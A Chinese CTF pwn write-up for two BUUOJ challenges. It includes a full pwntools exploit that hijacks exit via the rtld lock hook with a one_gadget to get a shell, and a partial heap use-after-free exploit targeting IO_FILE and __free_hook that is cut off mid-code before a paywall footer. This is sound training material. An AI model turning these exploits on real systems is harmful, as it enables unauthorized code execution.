201 bbctf_2020_write

canary是没有开的。环境是2.27的一个环境。

可以看到首先进去会给一个puts的地址,然后我们就可以获得libc的基地址。
又给出了一个栈地址,我们考虑可以直接去劫持got表,但是发现got表不能写。
那我们去考虑劫持main函数返回地址,但是又发现最后用exit去结束的。
exit没有hook,我们考虑怎么能把exit劫持掉。
劫持exit
简单点说就是。
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于__rtld_lock_unlock_recursive存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive,就可以在调用exit()时劫持程序流。
exp
from pwn import*
context.log_level = "debug"
#r = process("./201")
r = remote("node4.buuoj.cn", "29284")
libc = ELF("./64/libc-2.27.so")
r.recvuntil("0x")
puts_addr = int(r.recv(12), 16)
r.recvuntil("0x")
stack_addr = int(r.recv(12), 16)
ret_addr = stack_addr + 0x20
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 0x4f322
print "libc_base = " + hex(libc_base)
exit_hook = libc_base + 0x619f68
r.recvuntil("(q)uit\n")
r.sendline("w")
r.sendline(str(exit_hook))
r.sendline(str(one_gadget))
#gdb.attach(r)
r.recvuntil("(q)uit\n")
r.sendline("q")
r.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
202 ciscn_2019_c_5


名字跟id就有了。
add
大小,chunk地址,都子啊bss上,一个chunk的信息也都相邻。
没有edit、show。
free
free这里有个uaf。
没有输出的话我们还是考虑需要去攻击IO_FILE。
劫持IO_FILE的时候因为我们只修改后20bit,但是没办法只能改到24bit,所以我们还必须爆破一下。
通过fastbin攻击来泄露libc地址,然后故技重施劫持free_hook,来gelshell。
exp
# -*- coding: utf-8 -*-
from pwn import*
#context.log_level = "debug"
def add(size, content):
r.sendlineafter("Input your choice:", "1")
r.sendlineafter("Please input the size of story: \n", str(size))
r.sendafter("please inpute the story: \n", content)
def delete(index):
r.sendlineafter("Input your choice:", "4")
r.sendlineafter("Please input the index:\n", str(index))
libc = ELF('./64/libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
free_hook_s = libc.symbols['__free_hook']
def exp():
r.sendlineafter("What's your name?\n", "Yongibaoi")
r.sendlineafter("Please input your ID.\n", "0")
add(0x7F,

本文详细分析了多个CTF挑战,涉及栈溢出、未初始化指针利用、堆管理漏洞及libc地址泄露等技术。通过创建shellcode、劫持程序流程、利用fastbin攻击泄露libc地址,最终实现getshell。文章揭示了多种常见的二进制安全漏洞利用方法。
最低0.47元/天 解锁文章
457

被折叠的 条评论
为什么被折叠?



